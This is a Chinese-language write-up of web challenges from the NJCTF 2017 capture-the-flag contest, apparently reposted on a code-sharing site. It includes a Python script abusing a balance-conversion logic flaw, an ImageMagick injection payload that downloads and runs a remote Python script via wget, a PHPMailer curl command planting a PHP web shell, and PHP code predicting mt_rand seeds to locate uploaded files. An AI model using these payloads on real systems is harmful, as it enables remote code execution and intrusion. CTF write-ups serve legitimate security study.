NJCTF-2017-web-writeup


記錄一下這次比賽web一些有意思的題

Be Logical(450)

http://218.2.197.235:23739/

注冊賬號密碼進去后發現大概是一個,積分可以轉換為金幣,然后再歷史紀錄里面又可以將金幣轉換為積分。
第一個感覺肯定這個是邏輯漏洞,感覺積分和金幣之間轉換的時候,可以利用多線程來跑一下。

在積分轉換為金幣的頁面得知Sign.php,后面猜解文件泄漏為.Sign.php.swp,vim -r xx.swp就可以恢復代碼。這個簽名驗證的代碼是將\(_POST的轉換后,再加一個`\)code進行md5,所以想嘗試把這個$code`跑出來,跑了幾個小時,6位以下的小寫+數字跑完發現還沒破解出來...

仔細理一下邏輯,發現其實應該不需要跑$code,因為后面有頁面會把加密的sgin顯示出來,所以完全可以先這樣得到sgin然后去做其他的事情。所以嘗試了一下多線程。

利用的代碼

import requests
import threading
import re

cookie = {
  'PHPSESSID':'g3s0ngjo918f1ejm9tpqan63v2'
}

s = requests.session()

data = {
  "comment":"1",
  "money":"500a"
}

def g():
  #while 1:
    global data,cookie
    mydata = data.copy()
    mydata['point'] = '500a'
    mydata['mypoint'] = '0'
    mydata['mymoney'] = '0'

    print mydata

    r2 = s.post("http://218.2.197.235:23739/process.php",data=mydata,cookies=cookie)
    sign1 = r2.content.split('value="')[-1][:32]

    mydata['sign'] = sign1

    r3 = s.post("http://218.2.197.235:23739/action.php",data=mydata,cookies=cookie)
    print r3.content

#------

def ree():
  #while 1:
    global data,cookie
    idd = 0
    r = s.get("http://218.2.197.235:23739/history.php",cookies=cookie)
    m = re.search('<tr><td>(.*?)</td>',r.content)
    if m is not None:
      idd = m.group(1)

    data['id'] = idd
    data['username'] = "nihao"
    data['points'] = '500a'

    url = "http://218.2.197.235:23739/refundprocess.php?comment=%s&id=%s&username=%s&points=%s&money=%s" % (data['comment'],data['id'],data['username'],data['points'],data['money'])
    r = s.get(url,cookies=cookie)
    sign = r.content.split('value="')[-1][:32]
    if 'modified' in sign:
      print 'error',idd
      return 0

    data['sign'] = sign

    r1 = s.post("http://218.2.197.235:23739/refund.php",data=data,cookies=cookie)
    if 'Success' in r1.content:
      print 'success',idd
    else:
      print r1.content

g()
ree()

# re(2467)

# list = []
# for i in range(5):
#     t = threading.Thread(target=r)
#     t.setDaemon(True)
#     t.start()
#     list.append(t)
# for i in range(10):
#     t = threading.Thread(target=ree)
#     t.setDaemon(True)
#     t.start()
#     list.append(t)
# for i in list:
#     i.join()

跑了挺久感覺也不是很對,轉換的時候應該是加了與數據庫里面的數據進行判斷,所以感覺缺少一個競爭條件。
嘗試修改了money等一些參數都為500a的時候發現還是能轉,發現應該是對數字做了轉化,然后嘗試500.0等也不行,最后測試500e1的時候發現錢加到了5000.后面看源碼是只是進行一些判斷,並沒有做什么處理,所以進入數據庫能夠使用e達到獲取更多的積分.

if (floatval(floor($_POST['point'])) !== floatval($_POST['point'])) {
  die("the point must be an INTEGER!");
}

購買服務后,發現是圖片上傳的地方,可以進行圖片轉化,im的命令執行漏洞

poc.png

push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|wget xxx/down/tmp.py -P /tmp/ | python /tmp/tmp.py'
pop graphic-context

getshell后find一下沒發現flag,看進程的時候發現還有人用了ew工具...看一下arp緩存得到172.17.0.19,訪問時候一個郵箱系統,這個前面zctf也出了這個,PHPMailer的漏洞

curl -sq 'http://172.17.0.19' -d 'subject=<?php system($_GET[1]);?>&email=a( -X/var/www/html/uploads/lemon1.php -OQueueDirectory=/tmp )@qq.com&message=aaa&submit=Send email'

Geuess(250)

發現是一個包含,可以讀取到源碼

<?php
function random_str($length = "32") {
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    return $str;
}

session_start();

$reg = '/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

    $seed = rand(0, 999999999);
    mt_srand($seed);
    $ss = mt_rand();
    $hash = md5(session_id() . $ss);
    setcookie('SESSI0N', $hash, time() + 3600);
....
    if ($check1) {
        $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
        if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename))
}

如果sessionid是沒有的話,那么session_id()就是空字符串,這樣的話,hash就是$ss的md5值,也就是純數字,放cmd5解密就可以得到明文,也就是隨機數,mt_rand生成的隨機數是可以破解得到種子,所以可以再通過種子預測到后面的random_str的值,從而得到上傳的文件名.

預測種子的工具:
http://files.cnblogs.com/files/iamstudy/php_mt_seed-3.2.tar.gz

exp:

<?php
mt_srand(369252519);
echo mt_rand()."\n\r";
function random_str($length = "32") {
  $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
    "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
    "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
    "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
    "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
  $str = '';

  for ($i = 1; $i <= $length; ++$i) {
    $ch = mt_rand(0, count($set) - 1);
    $str .= $set[$ch];
  }

  return $str;
}

echo random_str()."\n\r";

這里要注意的是,因為在random_str之前還有一個mt_rand();,所以exp里面要寫上一個,不然會預測出錯.當時就是坑在這個地方.

后面一個就是zip包含jpg,getshell.


最后還有一個be admin的題目,是cbc模式的安全問題,oracle padding和字節反轉,經過md5 padding后,這個最近ctf出現過很多次。(_),這個得再另起一篇文章來學習。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM